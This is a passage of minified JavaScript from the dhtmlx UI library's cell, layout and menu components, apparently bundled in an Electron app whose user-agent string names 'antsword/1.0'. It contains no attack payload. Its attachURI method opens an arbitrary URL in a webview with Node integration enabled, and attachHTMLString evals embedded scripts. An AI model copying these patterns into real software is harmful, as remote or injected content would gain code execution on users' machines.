dhtmlx.ui.Tooltip(c);this.attachEvent(\"onMouseMove\",function(h,g){a.show(this.get(h),dhtmlx.html.pos(g))});this.attachEvent(\"onMouseOut\",function(h,g){a.hide()});this.attachEvent(\"onMouseMoving\",function(h,g){a.hide()});return a}};dhtmlx.compat=function(a,c){if(dhtmlx.compat[a]){dhtmlx.compat[a](c)}};if(!dhtmlx.attaches){dhtmlx.attaches={}}dhtmlx.attaches.attachAbstract=function(c,a){var h=document.createElement(\"DIV\");h.id=\"CustomObject_\"+dhtmlx.uid();h.style.width=\"100%\";h.style.height=\"100%\";h.cmp=\"grid\";document.body.appendChild(h);this.attachObject(h.id);a.container=h.id;var g=this.vs[this.av];g.grid=new window[c](a);g.gridId=h.id;g.gridObj=h;g.grid.setSizes=function(){if(this.resize){this.resize()}else{this.render()}};var e=\"_viewRestore\";return this.vs[this[e]()].grid};dhtmlx.attaches.attachDataView=function(a){return this.attachAbstract(\"dhtmlXDataView\",a)};dhtmlx.attaches.attachChart=function(a){return this.attachAbstract(\"dhtmlXChart\",a)};dhtmlx.compat.layout=function(){};function dhtmlXCellObject(e,a){this.cell=document.createElement(\"DIV\");this.cell.className=\"dhx_cell\"+(a||\"\");this._idd=e;this._isCell=true;this.conf={borders:true,idx:{},css:a||\"\",idx_data:{cont:\"dhx_cell_cont\",pr1:\"dhx_cell_progress_bar\",pr2:\"dhx_cell_progress_img\",menu:\"dhx_cell_menu\",toolbar:\"dhx_cell_toolbar\",ribbon:\"dhx_cell_ribbon\",sb:\"dhx_cell_statusbar\",cover:\"dhx_cell_cover\"},ofs_nodes:{t:{},b:{}}};this.dataNodes={};this.views={};var c=document.createElement(\"DIV\");c.className=\"dhx_cell_cont\"+this.conf.css;this.cell.appendChild(c);c=null;this._updateIdx=function(){for(var g in this.conf.idx){this.conf.idx[g]=null;delete this.conf.idx[g]}for(var m=0;m<this.cell.childNodes.length;m++){var h=this.cell.childNodes[m].className;for(var g in this.conf.idx_data){var l=new RegExp(this.conf.idx_data[g]);if(h.match(l)!=null){this.conf.idx[g]=m}}}this.callEvent(\"_onIdxUpdated\",[])};this._adjustAttached=function(){for(var g in this.dataNodes){if(this.dataNodes[g]!=null&&typeof(this.dataNodes[g].setSizes)==\"function\"){this.dataNodes[g].setSizes()}}if(this.dataObj!=null&&typeof(this.dataObj.setSizes)==\"function\"){if(this.dataType==\"layout\"&&typeof(window.dhtmlXLayoutCell)!=\"undefined\"&&this instanceof window.dhtmlXLayoutCell&&this.dataObj._getMainInst()!=this.layout._getMainInst()){this.dataObj.setSizes();return}this.dataObj.setSizes.apply(this.dataObj,arguments)}};this._setSize=function(u,r,v,n,o,q,l,m){if(this.conf.size==null){this.conf.size={}}if(m==null){m={}}var A={left:\"x\",top:\"y\",width:\"w\",height:\"h\"};this.conf.size.x=u;this.conf.size.y=r;this.conf.size.w=Math.max(v,0);this.conf.size.h=Math.max(n,0);for(var s in A){var g=(m[s]||s);this.cell.style[g]=this.conf.size[A[s]]+\"px\"}this.callEvent(\"_onSetSize\",[]);if(q!==true){this._adjustCont(o,l)}else{this._adjustAttached(o)}this._adjustProgress()};this._adjustCont=function(o,m){var n=this.cell.childNodes[this.conf.idx.cont];var l=0;for(var g in this.conf.ofs_nodes.t){var h=this.conf.ofs_nodes.t[g];l+=(h==\"func\"?this[g]():(h==true?this.cell.childNodes[this.conf.idx[g]].offsetHeight:0))}var q=0;for(var g in this.conf.ofs_nodes.b){var h=this.conf.ofs_nodes.b[g];q+=(h==\"func\"?this[g]():(h==true?this.cell.childNodes[this.conf.idx[g]].offsetHeight:0))}n.style.left=\"0px\";n.style.top=l+\"px\";if(!this.conf.cells_cont){this.conf.cells_cont={};n.style.width=this.cell.offsetWidth+\"px\";n.style.height=Math.max(this.cell.offsetHeight-l-q,0)+\"px\";this.conf.cells_cont.w=parseInt(n.style.width)-n.offsetWidth;this.conf.cells_cont.h=parseInt(n.style.height)-n.offsetHeight}n.style.left=\"0px\";n.style.top=l+\"px\";n.style.width=Math.max(this.cell.offsetWidth+this.conf.cells_cont.w,0)+\"px\";n.style.height=Math.max(this.conf.size.h-l-q+this.conf.cells_cont.h,0)+\"px\";n=null;this._adjustAttached(o);if(m==\"expand\"&&this.dataType==\"editor\"&&this.dataObj!=null){this.dataObj._prepareContent(true)}};this._mtbUpdBorder=function(){var h=[\"menu\",\"toolbar\",\"ribbon\"];for(var m=0;m<h.length;m++){if(this.conf.idx[h[m]]!=null){var n=this.cell.childNodes[this.conf.idx[h[m]]];var l=\"dhx_cell_\"+h[m]+\"_no_borders\";var g=\"dhx_cell_\"+h[m]+\"_def\";n.className=n.className.replace(new RegExp(this.conf.borders?l:g),this.conf.borders?g:l);n=null}}};this._resetSizeState=function(){this.conf.cells_cont=null};this.conf.view=\"def\";this.conf.views_loaded={};this.conf.views_loaded[this.conf.view]=true;this._viewSave=function(l){this.views[l]={borders:this.conf.borders,ofs_nodes:{t:{},b:{}},url_data:this.conf.url_data,dataType:this.dataType,dataObj:this.dataObj,cellCont:[],dataNodes:{},dataNodesCont:{}};var m=this.cell.childNodes[this.conf.idx.cont];while(m.childNodes.length>0){this.views[l].cellCont.push(m.firstChild);m.removeChild(m.firstChild)}m=null;this.dataType=null;this.dataObj=null;this.conf.url_data=null;for(var h in this.dataNodes){for(var g in this.conf.ofs_nodes){if(typeof(this.conf.ofs_nodes[g][h])!=\"undefined\"){this.views[l].ofs_nodes[g][h]=this.conf.ofs_nodes[g][h];this.conf.ofs_nodes[g][h]=null;delete this.conf.ofs_nodes[g][h]}}this.views[l].dataNodesCont[h]=this.cell.childNodes[this.conf.idx[h]];this.cell.removeChild(this.cell.childNodes[this.conf.idx[h]]);this.views[l].dataNodes[h]=this.dataNodes[h];this.dataNodes[h]=null;delete this.dataNodes[h];this._updateIdx()}this.callEvent(\"_onViewSave\",[l])};this._viewRestore=function(l){if(this.views[l]==null){return}this.dataObj=this.views[l].dataObj;this.dataType=this.views[l].dataType;this.conf.url_data=this.views[l].url_data;for(var m=0;m<this.views[l].cellCont.length;m++){this.cell.childNodes[this.conf.idx.cont].appendChild(this.views[l].cellCont[m])}for(var h in this.views[l].dataNodes){this.dataNodes[h]=this.views[l].dataNodes[h];if(h==\"menu\"){this.cell.insertBefore(this.views[l].dataNodesCont[h],this.cell.childNodes[this.conf.idx.toolbar||this.conf.idx.cont])}if(h==\"toolbar\"){this.cell.insertBefore(this.views[l].dataNodesCont[h],this.cell.childNodes[this.conf.idx.cont])}if(h==\"sb\"){this.cell.appendChild(this.views[l].dataNodesCont[h])}this._updateIdx()}for(var h in this.views[l].ofs_nodes){for(var g in this.views[l].ofs_nodes[h]){this.conf.ofs_nodes[h][g]=this.views[l].ofs_nodes[h][g]}}if(this.conf.borders!=this.views[l].borders){this[this.views[l].borders?\"_showBorders\":\"_hideBorders\"](true)}if(this.dataType==\"url\"&&this.conf.url_data!=null&&this.conf.url_data.ajax==false&&this.conf.url_data.post_data!=null){this.reloadURL()}this.callEvent(\"_onViewRestore\",[l]);this._viewDelete(l)};this._viewDelete=function(l){if(this.views[l]==null){return}this.views[l].borders=null;for(var h in this.views[l].ofs_nodes){for(var g in this.views[l].ofs_nodes[h]){this.views[l].ofs_nodes[h][g]=null}this.views[l].ofs_nodes[h]=null}this.views[l].dataType=null;this.views[l].dataObj=null;this.views[l].url_data=null;for(var m=0;m<this.views[l].cellCont.length;m++){this.views[l].cellCont[m]=null}this.views[l].cellCont=null;for(var h in this.views[l].dataNodes){this.views[l].dataNodes[h]=null;this.views[l].dataNodesCont[h]=null}this.views[l].dataNodes=this.views[l].dataNodesCont=null;this.views[l]=null;delete this.views[l]};window.dhx4._eventable(this);this._updateIdx();return this}dhtmlXCellObject.prototype.showView=function(a){if(this.conf.view==a){return false}this._viewSave(this.conf.view);this._viewRestore(a);this._updateIdx();this._adjustCont();this.conf.view=a;var c=(typeof(this.conf.views_loaded[this.conf.view])==\"undefined\");this.conf.views_loaded[this.conf.view]=true;return c};dhtmlXCellObject.prototype.getViewName=function(){return this.conf.view};dhtmlXCellObject.prototype.unloadView=function(g){if(g==this.conf.view){var h=this.conf.unloading;this.conf.unloading=true;if(typeof(this.detachMenu)==\"function\"){this.detachMenu()}if(typeof(this.detachToolbar)==\"function\"){this.detachToolbar()}if(typeof(this.detachRibbon)==\"function\"){this.detachRibbon()}this.detachStatusBar();this._detachObject(null,true);this.conf.unloading=h;if(!this.conf.unloading){this._adjustCont(this._idd)}return}if(this.views[g]==null){return}var e=this.views[g];for(var c in e.dataNodes){if(typeof(e.dataNodes[c].unload)==\"function\"){e.dataNodes[c].unload()}e.dataNodes[c]=null;e.dataNodesCont[c]=null}if(e.dataType==\"url\"){if(e.cellCont!=null&&e.cellCont[0]!=\"null\"){this._detachURLEvents(e.cellCont[0])}}else{if(e.dataObj!=null){if(typeof(e.dataObj.unload)==\"function\"){e.dataObj.unload()}else{if(typeof(e.dataObj.destructor)==\"function\"){e.dataObj.destructor()}}e.dataObj=null}}e=null;this._viewDelete(g);if(typeof(this.conf.views_loaded[g])!=\"undefined\"){delete this.conf.views_loaded[g]}};dhtmlXCellObject.prototype.getId=function(){return this._idd};dhtmlXCellObject.prototype.progressOn=function(){if(this.conf.progress==true){return}this.conf.progress=true;var c=document.createElement(\"DIV\");c.className=this.conf.idx_data.pr1;var a=document.createElement(\"DIV\");a.className=this.conf.idx_data.pr2;if(this.conf.idx.cover!=null){this.cell.insertBefore(a,this.cell.childNodes[this.conf.idx.cover])}else{this.cell.appendChild(a)}this.cell.insertBefore(c,a);c=a=null;this._updateIdx();this._adjustProgress()};dhtmlXCellObject.prototype.progressOff=function(){if(this.conf.progress!=true){return}this.cell.childNodes[this.conf.idx.pr2].parentNode.removeChild(this.cell.childNodes[this.conf.idx.pr2]);this.cell.childNodes[this.conf.idx.pr1].parentNode.removeChild(this.cell.childNodes[this.conf.idx.pr1]);this.conf.progress=false;this._updateIdx()};dhtmlXCellObject.prototype._adjustProgress=function(){if(this.conf.idx.pr1==null){return}if(!this.conf.pr){this.conf.pr={}}var c=this.cell.childNodes[this.conf.idx.pr1];var a=this.cell.childNodes[this.conf.idx.pr2];if(!this.conf.pr.ofs){a.style.width=c.offsetWidth+\"px\";a.style.height=c.offsetHeight+\"px\";this.conf.pr.ofs={w:a.offsetWidth-a.clientWidth,h:a.offsetHeight-a.clientHeight}}a.style.width=c.offsetWidth-this.conf.pr.ofs.w+\"px\";a.style.height=c.offsetHeight-this.conf.pr.ofs.h+\"px\";c=a=null};dhtmlXCellObject.prototype._showCellCover=function(){if(this.conf.cover==true){return}this.conf.cover=true;var a=document.createElement(\"DIV\");a.className=this.conf.idx_data.cover;this.cell.appendChild(a);a=null;this._updateIdx()};dhtmlXCellObject.prototype._hideCellCover=function(){if(this.conf.cover!=true){return}this.cell.removeChild(this.cell.childNodes[this.conf.idx.cover]);this._updateIdx();this.conf.cover=false};dhtmlXCellObject.prototype._showBorders=function(a){if(this.conf.borders){return}this.conf.borders=true;this.cell.childNodes[this.conf.idx.cont].className=\"dhx_cell_cont\"+this.conf.css;this.conf.cells_cont=null;this._mtbUpdBorder();this.callEvent(\"_onBorderChange\",[true]);if(a!==true){this._adjustCont(this._idd)}};dhtmlXCellObject.prototype._hideBorders=function(a){if(!this.conf.borders){return}this.conf.borders=false;this.cell.childNodes[this.conf.idx.cont].className=\"dhx_cell_cont\"+this.conf.css+\" dhx_cell_cont_no_borders\";this.conf.cells_cont=null;this._mtbUpdBorder();this.callEvent(\"_onBorderChange\",[false]);if(a!==true){this._adjustCont(this._idd)}};dhtmlXCellObject.prototype._getWidth=function(){return this.cell.offsetWidth};dhtmlXCellObject.prototype._getHeight=function(){return this.cell.offsetHeight};dhtmlXCellObject.prototype.showInnerScroll=function(){this.cell.childNodes[this.conf.idx.cont].style.overflow=\"auto\"};dhtmlXCellObject.prototype._unload=function(){this.conf.unloading=true;this.callEvent(\"_onCellUnload\",[]);this.progressOff();this.unloadView(this.conf.view);this.dataNodes=null;this.cell.parentNode.removeChild(this.cell);this.cell=null;window.dhx4._eventable(this,\"clear\");for(var c in this.views){this.unloadView(c)}this.conf=null;for(var c in this){this[c]=null}};dhtmlXCellObject.prototype.attachObject=function(g,e){if(window.dhx4.s2b(e)&&!(typeof(window.dhtmlXWindowsCell)!=\"undefined\"&&(this instanceof window.dhtmlXWindowsCell))){e=false}if(typeof(g)==\"string\"){g=document.getElementById(g)}if(g.parentNode==this.cell.childNodes[this.conf.idx.cont]){g=null;return}if(e){g.style.display=\"\";var a=g.offsetWidth;var c=g.offsetHeight}this._attachObject(g);this.dataType=\"obj\";g.style.display=\"\";g=null;if(e){this._adjustByCont(a,c)}};dhtmlXCellObject.prototype.appendObject=function(a){if(typeof(a)==\"string\"){a=document.getElementById(a)}if(a.parentNode==this.cell.childNodes[this.conf.idx.cont]){a=null;return}if(!this.conf.append_mode){this.cell.childNodes[this.conf.idx.cont].style.overflow=\"auto\";this.conf.append_mode=true}this._attachObject(a,null,null,true);this.dataType=\"obj\";a.style.display=\"\";a=null};dhtmlXCellObject.prototype.detachObject=function(c,a){this._detachObject(null,c,a)};dhtmlXCellObject.prototype.getAttachedStatusBar=function(){return this.dataNodes.sb};dhtmlXCellObject.prototype.getAttachedObject=function(){if(this.dataType==\"obj\"||this.dataType==\"url\"||this.dataType==\"url-ajax\"){return this.cell.childNodes[this.conf.idx.cont].firstChild}else{return this.dataObj}};dhtmlXCellObject.prototype.attachURL=function(c,q,e){if(e==true){e={}}var g=(typeof(e)!=\"undefined\"&&e!=false&&e!=null);if(!this.conf.url_data){this.conf.url_data={}}this.conf.url_data.url=c;this.conf.url_data.ajax=(q==true);this.conf.url_data.post_data=(e==true?{}:(e||null));if(q==true){var o=this;if(g){var h=\"\";for(var n in e){h+=\"&\"+encodeURIComponent(n)+\"=\"+encodeURIComponent(e[n])}dhx4.ajax.post(c,h,function(a){o.attachHTMLString(\"<div style='position:relative;width:100%;height:100%;overflow:auto;'>\"+a.xmlDoc.responseText+\"</div>\");if(typeof(o._doOnFrameContentLoaded)==\"function\"){o._doOnFrameContentLoaded()}o.dataType=\"url-ajax\";o=a=null})}else{dhx4.ajax.get(c,function(a){o.attachHTMLString(\"<div style='position:relative;width:100%;height:100%;overflow:auto;'>\"+a.xmlDoc.responseText+\"</div>\");if(typeof(o._doOnFrameContentLoaded)==\"function\"){o._doOnFrameContentLoaded()}o.dataType=\"url-ajax\";o=a=null})}}else{if(this.dataType==\"url\"){var l=this.getFrame()}else{var l=document.createElement(\"IFRAME\");l.frameBorder=0;l.border=0;l.style.width=\"100%\";l.style.height=\"100%\";l.style.position=\"relative\";this._attachObject(l);this.dataType=\"url\";this._attachURLEvents()}if(g){var m=(typeof(this.conf.url_data.post_ifr)==\"undefined\");this.conf.url_data.post_ifr=true;if(m){this._attachURLEvents()}l.src=\"about:blank\"}else{l.src=c+(window.dhx4.ajax.cache!=true?(c.indexOf(\"?\")>=0?\"&\":\"?\")+\"dhxr\"+new Date().getTime():\"\")}l=null}l=null};dhtmlXCellObject.prototype.attachURI=function(u){var o=document.createElement('webview');o.setAttribute('nodeintegration','on');o.setAttribute('autosize','on');o.setAttribute('useragent', 'antsword/1.0|' + navigator.userAgent);o.src=u;this._attachObject(o);return o};dhtmlXCellObject.prototype.reloadURL=function(){if(!(this.dataType==\"url\"||this.dataType==\"url-ajax\")){return}if(this.conf.url_data==null){return}this.attachURL(this.conf.url_data.url,this.conf.url_data.ajax,this.conf.url_data.post_data)};dhtmlXCellObject.prototype.attachHTMLString=function(str){this._attachObject(null,null,str);var z=str.match(/<script[^>]*>[^\\f]*?<\\/script>/g)||[];for(var i=0;i<z.length;i++){var s=z[i].replace(/<([\\/]{0,1})script[^>]*>/gi,\"\");if(s){if(window.execScript){window.execScript(s)}else{window.eval(s)}}}};dhtmlXCellObject.prototype.attachScheduler=function(a,m,c,g){g=g||window.scheduler;var h=false;if(c){var l=document.getElementById(c);if(l){h=true}}if(!h){var e=c||'<div class=\"dhx_cal_tab\" name=\"day_tab\" style=\"right:204px;\"></div><div class=\"dhx_cal_tab\" name=\"week_tab\" style=\"right:140px;\"></div><div class=\"dhx_cal_tab\" name=\"month_tab\" style=\"right:76px;\"></div>';var l=document.createElement(\"DIV\");l.id=\"dhxSchedObj_\"+new Date().getTime();l.style.width=\"100%\";l.style.height=\"100%\";l.style.position=\"relative\";l.style.overflow=\"hidden\";l.className=\"dhx_cal_container\";l.innerHTML='<div class=\"dhx_cal_navline\"><div class=\"dhx_cal_prev_button\">&nbsp;</div><div class=\"dhx_cal_next_button\">&nbsp;</div><div class=\"dhx_cal_today_button\"></div><div class=\"dhx_cal_date\"></div>'+e+'</div><div class=\"dhx_cal_header\"></div><div class=\"dhx_cal_data\"></div>'}this._attachObject(l);this.dataType=\"scheduler\";this.dataObj=g;this.dataObj.setSizes=function(){this.update_view()};g.init(l.id,a,m);l=null;this.callEvent(\"_onContentAttach\",[]);return this.dataObj};dhtmlXCellObject.prototype.attachMap=function(a){var c=document.createElement(\"DIV\");c.style.width=\"100%\";c.style.height=\"100%\";c.style.position=\"relative\";c.style.overflow=\"hidden\";this._attachObject(c);if(!a){a={center:new google.maps.LatLng(40.719837,-73.992348),zoom:11,mapTypeId:google.maps.MapTypeId.ROADMAP}}this.dataType=\"maps\";this.dataObj=new google.maps.Map(c,a);this.dataObj.setSizes=function(){google.maps.event.trigger(this,\"resize\")};c=null;this.callEvent(\"_onContentAttach\",[]);return this.dataObj};dhtmlXCellObject.prototype._createNode_sb=function(n,g,m,a,l){if(typeof(l)!=\"undefined\"){n=l}else{var c=g||{};var o=(typeof(c.text)==\"string\"&&c.text.length>0?c.text:\"&nbsp;\");var e=(typeof(c.height)==\"number\"?c.height:false);var n=document.createElement(\"DIV\");n.className=\"dhx_cell_statusbar_def\";n.innerHTML=\"<div class='\"+(c.paging==true?\"dhx_cell_statusbar_paging\":\"dhx_cell_statusbar_text\")+\"'>\"+o+\"</div>\";if(e!=false){n.firstChild.style.height=n.firstChild.style.lineHeight=e+\"px\"}}if(this.conf.idx.pr1!=null){this.cell.insertBefore(n,this.cell.childNodes[this.conf.idx.pr1])}else{this.cell.appendChild(n)}this.conf.ofs_nodes.b.sb=true;this._updateIdx();this._adjustCont(this._idd);return n};dhtmlXCellObject.prototype.attachStatusBar=function(a){if(this.dataNodes.sb){return}if(a!=null&&window.dhx4.s2b(a.paging)==true){a.height=null}if(this.conf.skin==\"dhx_skyblue\"&&typeof(window.dhtmlXWindowsCell)!=\"undefined\"&&(this instanceof dhtmlXWindowsCell)){this.cell.childNodes[this.conf.idx.cont].className+=\" dhx_cell_statusbar_attached\"}this.dataNodes.sb=this._attachObject(\"sb\",a);this.dataNodes.sb.setText=function(c){this.childNodes[0].innerHTML=c};this.dataNodes.sb.getText=function(){return this.childNodes[0].innerHTML};this.dataNodes.sb.onselectstart=function(c){return false};return this.dataNodes.sb};dhtmlXCellObject.prototype.detachStatusBar=function(){if(!this.dataNodes.sb){return}if(this.conf.skin==\"dhx_skyblue\"&&typeof(window.dhtmlXWindowsCell)!=\"undefined\"&&(this instanceof dhtmlXWindowsCell)){this.cell.childNodes[this.conf.idx.cont].className=this.cell.childNodes[this.conf.idx.cont].className.replace(/\\s{0,}dhx_cell_statusbar_attached/,\"\")}this.dataNodes.sb.setText=this.dataNodes.sb.getText=this.dataNodes.sb.onselectstart=null;this.dataNodes.sb=null;delete this.dataNodes.sb;this._detachObject(\"sb\")};dhtmlXCellObject.prototype.showStatusBar=function(){this._mtbShowHide(\"sb\",\"\")};dhtmlXCellObject.prototype.hideStatusBar=function(){this._mtbShowHide(\"sb\",\"none\")};dhtmlXCellObject.prototype._mtbShowHide=function(c,a){if(!this.dataNodes[c]){return}this.cell.childNodes[this.conf.idx[c]].style.display=a;this._adjustCont()};dhtmlXCellObject.prototype.getFrame=dhtmlXCellObject.prototype._getFrame=function(){if(this.dataType!=\"url\"){return null}return this.cell.childNodes[this.conf.idx.cont].firstChild};dhtmlXCellObject.prototype._attachURLEvents=function(){if(this.dataType!=\"url\"){return}var e=this;var c=this._idd;var a=this.cell.childNodes[this.conf.idx.cont].firstChild;if(typeof(this._doOnFrameMouseDown)!=\"function\"){this._doOnFrameMouseDown=function(g){e.callEvent(\"_onContentMouseDown\",[c,g||event])}}if(typeof(window.addEventListener)==\"function\"){a.onload=function(){try{if(typeof(e._doOnFrameMouseDown)==\"function\"){this.contentWindow.document.body.addEventListener(\"mousedown\",e._doOnFrameMouseDown,false)}}catch(g){}try{if(typeof(e._doOnFrameContentLoaded)==\"function\"){e._doOnFrameContentLoaded()}}catch(g){}}}else{a.onreadystatechange=function(g){if(this.readyState==\"complete\"){try{if(typeof(e._doOnFrameMouseDown)==\"function\"){this.contentWindow.document.body.attachEvent(\"onmousedown\",e._doOnFrameMouseDown)}}catch(h){}try{if(typeof(e._doOnFrameContentLoaded)==\"function\"){e._doOnFrameContentLoaded()}}catch(h){}}}}};dhtmlXCellObject.prototype._doOnFrameContentLoaded=function(){if(this.conf.url_data.post_ifr==true){var l=this.getFrame().contentWindow.document;var h=l.createElement(\"FORM\");h.method=\"POST\";h.action=this.conf.url_data.url;l.body.appendChild(h);var e={};if(window.dhx4.ajax.cache!=true){e[\"dhxr\"+new Date().getTime()]=\"1\"}for(var c in this.conf.url_data.post_data){e[c]=this.conf.url_data.post_data[c]}for(var c in e){var g=l.createElement(\"INPUT\");g.type=\"hidden\";g.name=c;g.value=e[c];h.appendChild(g);g=null}this.conf.url_data.post_ifr=false;h.submit()}else{this.callEvent(\"_onContentLoaded\",[this._idd])}};dhtmlXCellObject.prototype._detachURLEvents=function(a){if(a==null){if(this.dataType!=\"url\"){return}a=this.cell.childNodes[this.conf.idx.cont].firstChild}if(typeof(window.addEventListener)==\"function\"){a.onload=null;try{a.contentWindow.document.body.removeEventListener(\"mousedown\",this._doOnFrameMouseDown,false)}catch(c){}}else{a.onreadystatechange=null;try{a.contentWindow.document.body.detachEvent(\"onmousedown\",this._doOnFrameMouseDown)}catch(c){}}a=null};dhtmlXCellObject.prototype._attachObject=function(h,c,g,a,e){if(typeof(h)==\"string\"&&{menu:1,toolbar:1,ribbon:1,sb:1}[h]==1){return this[\"_createNode_\"+h].apply(this,arguments)}if(a!=true){this._detachObject(null,true,null)}if(typeof(g)==\"string\"){this.cell.childNodes[this.conf.idx.cont].innerHTML=g}else{this.cell.childNodes[this.conf.idx.cont].appendChild(h)}h=null};dhtmlXCellObject.prototype._detachObject=function(h,c,a){this.callEvent(\"_onBeforeContentDetach\",[]);if(h==\"menu\"||h==\"toolbar\"||h==\"ribbon\"||h==\"sb\"){var g=this.cell.childNodes[this.conf.idx[h]];g.parentNode.removeChild(g);g=null;this.conf.ofs_nodes[h==\"sb\"?\"b\":\"t\"][h]=false;this._updateIdx();if(!this.conf.unloading){this._adjustCont(this._idd)}return}if(c==true){a=false}else{if(typeof(a)==\"undefined\"){a=document.body}else{if(typeof(a)==\"string\"){a=document.getElementById(a)}}}if(a===false){if(this.dataType==\"url\"){this._detachURLEvents()}else{if(this.dataObj!=null){if(typeof(this.dataObj.unload)==\"function\"){this.dataObj.unload()}else{if(typeof(this.dataObj.destructor)==\"function\"){this.dataObj.destructor()}}}}}var g=this.cell.childNodes[this.conf.idx.cont];while(g.childNodes.length>0){if(a===false){g.removeChild(g.lastChild)}else{g.firstChild.style.display=\"none\";a.appendChild(g.firstChild)}}if(this.conf.append_mode){g.style.overflow=\"\";this.conf.append_mode=false}var e=(this.dataType==\"tabbar\");this.dataObj=null;this.dataType=null;a=g=null;if(this.conf.unloading!=true&&e){this.showHeader(true);this._showBorders()}};dhtmlXCellObject.prototype._attachFromCell=function(c){this.detachObject(true);var g=\"layout\";if(typeof(window.dhtmlXWindowsCell)!=\"undefined\"&&this instanceof window.dhtmlXWindowsCell){g=\"window\"}if(typeof(window.dhtmlXWindowsCell)!=\"undefined\"&&c instanceof window.dhtmlXWindowsCell&&c.wins.w[c._idd].conf.parked){c.wins._winCellSetOpacity(c._idd,\"open\",false)}if(typeof(window.dhtmlXAccordionCell)!=\"undefined\"&&c instanceof window.dhtmlXAccordionCell&&c.conf.opened==false){c._cellSetOpacity(\"open\",false)}for(var e in c.dataNodes){this._attachObject(e,null,null,null,c.cell.childNodes[c.conf.idx[e]]);this.dataNodes[e]=c.dataNodes[e];c.dataNodes[e]=null;c.conf.ofs_nodes[e==\"sb\"?\"b\":\"t\"][e]=false;c._updateIdx()}this._mtbUpdBorder();if(c.dataType!=null&&c.dataObj!=null){this.dataType=c.dataType;this.dataObj=c.dataObj;while(c.cell.childNodes[c.conf.idx.cont].childNodes.length>0){this.cell.childNodes[this.conf.idx.cont].appendChild(c.cell.childNodes[c.conf.idx.cont].firstChild)}c.dataType=null;c.dataObj=null;if(this.dataType==\"grid\"){if(g==\"window\"&&this.conf.skin==\"dhx_skyblue\"){this.dataObj.entBox.style.border=\"1px solid #a4bed4\";this.dataObj._sizeFix=0}else{this.dataObj.entBox.style.border=\"0px solid white\";this.dataObj._sizeFix=2}}}else{while(c.cell.childNodes[c.conf.idx.cont].childNodes.length>0){this.cell.childNodes[this.conf.idx.cont].appendChild(c.cell.childNodes[c.conf.idx.cont].firstChild)}}this.conf.view=c.conf.view;c.conf.view=\"def\";for(var e in c.views){this.views[e]=c.views[e];c.views[e]=null;delete c.views[e]}c._updateIdx();c._adjustCont();this._updateIdx();this._adjustCont();if(c.conf.progress==true){c.progressOff();this.progressOn()}else{this.progressOff()}if(g==\"window\"&&this.wins.w[this._idd].conf.parked){this.wins._winCellSetOpacity(this._idd,\"close\",false)}};function dhtmlXCellTop(h,c){if(arguments.length==0||typeof(h)==\"undefined\"){return}var a=this;this.dataNodes={};this.conf.ofs={t:0,b:0,l:0,r:0};this.conf.ofs_nodes={t:{},b:{}};this.conf.progress=false;this.conf.fs_mode=false;this.conf.fs_tm=null;this.conf.fs_resize=false;if(h==document.body){this.conf.fs_mode=true;this.base=h;if(this.base==document.body){var g={dhx_skyblue:{t:2,b:2,l:2,r:2},dhx_web:{t:8,b:8,l:8,r:8},dhx_terrace:{t:9,b:9,l:8,r:8}};this.conf.ofs=(g[this.conf.skin]!=null?g[this.conf.skin]:g.dhx_skyblue)}}else{this.base=(typeof(h)==\"string\"?document.getElementById(h):h)}this.base.className+=\" \"+this.conf.css+\"_base_\"+this.conf.skin;this.cont=document.createElement(\"DIV\");this.cont.className=this.conf.css+\"_cont\";this.base.appendChild(this.cont);if(c!=null){this.setOffsets(c,false)}else{if(this.base._ofs!=null){this.setOffsets(this.base._ofs,false);this.base._ofs=null;try{delete this.base._ofs}catch(l){}}}this._adjustCont=function(){var n=this.conf.ofs.t;for(var m in this.conf.ofs_nodes.t){n+=(this.conf.ofs_nodes.t[m]==true?this.dataNodes[m].offsetHeight:0)}var e=this.conf.ofs.b;for(var m in this.conf.ofs_nodes.b){e+=(this.conf.ofs_nodes.b[m]==true?this.dataNodes[m].offsetHeight:0)}this.cont.style.left=this.conf.ofs.l+\"px\";this.cont.style.width=this.base.clientWidth-this.conf.ofs.l-this.conf.ofs.r+\"px\";this.cont.style.top=n+\"px\";this.cont.style.height=this.base.clientHeight-n-e+\"px\"};this._setBaseSkin=function(e){this.base.className=this.base.className.replace(new RegExp(this.conf.css+\"_base_\"+this.conf.skin,\"gi\"),this.conf.css+\"_base_\"+e)};this._initFSResize=function(){if(this.conf.fs_resize==true){return}this._doOnResizeStart=function(){window.clearTimeout(a.conf.fs_tm);a.conf.fs_tm=window.setTimeout(a._doOnResizeEnd,200)};this._doOnResizeEnd=function(){a.setSizes()};if(typeof(window.addEventListener)==\"function\"){window.addEventListener(\"resize\",this._doOnResizeStart,false)}else{window.attachEvent(\"onresize\",this._doOnResizeStart)}this.conf.fs_resize=true};if(this.conf.fs_mode==true){this._initFSResize()}this._unloadTop=function(){this._mtbUnload();this.detachHeader();this.detachFooter();if(this.conf.fs_mode==true){if(typeof(window.addEventListener)==\"function\"){window.removeEventListener(\"resize\",this._doOnResizeStart,false)}else{window.detachEvent(\"onresize\",this._doOnResizeStart)}}this.base.removeChild(this.cont);var e=new RegExp(\"s{0,}\"+this.conf.css+\"_base_\"+this.conf.skin,\"gi\");this.base.className=this.base.className.replace(e,\"\");this.cont=this.base=null;a=null};h=null}dhtmlXCellTop.prototype.setOffsets=function(l,h){var g=false;for(var c in l){var e=c.charAt(0);if(typeof(this.conf.ofs[e])!=\"undefined\"&&!isNaN(l[c])){this.conf.ofs[e]=parseInt(l[c]);g=true}}if(h!==false&&typeof(this.setSizes)==\"function\"&&g==true){this.setSizes()}};dhtmlXCellTop.prototype.attachMenu=function(a){if(this.dataNodes.menu!=null){return}this.dataNodes.menuObj=document.createElement(\"DIV\");this.dataNodes.menuObj.className=\"dhxcelltop_menu\";this.base.insertBefore(this.dataNodes.menuObj,this.dataNodes.toolbarObj||this.dataNodes.ribbonObj||this.cont);if(typeof(a)!=\"object\"||a==null){a={}}a.skin=this.conf.skin;a.parent=this.dataNodes.menuObj;this.dataNodes.menu=new dhtmlXMenuObject(a);this.dataNodes.menuEv=this.attachEvent(\"_onSetSizes\",function(){if(this.dataNodes.menuObj.style.display==\"none\"){return}this.dataNodes.menuObj.style.left=this.conf.ofs.l+\"px\";this.dataNodes.menuObj.style.marginTop=(this.dataNodes.haObj!=null?0:this.conf.ofs.t)+\"px\";this.dataNodes.menuObj.style.width=this.base.offsetWidth-this.conf.ofs.l-this.conf.ofs.r+\"px\"});this.conf.ofs_nodes.t.menuObj=true;this.setSizes();a.parnt=null;a=null;return 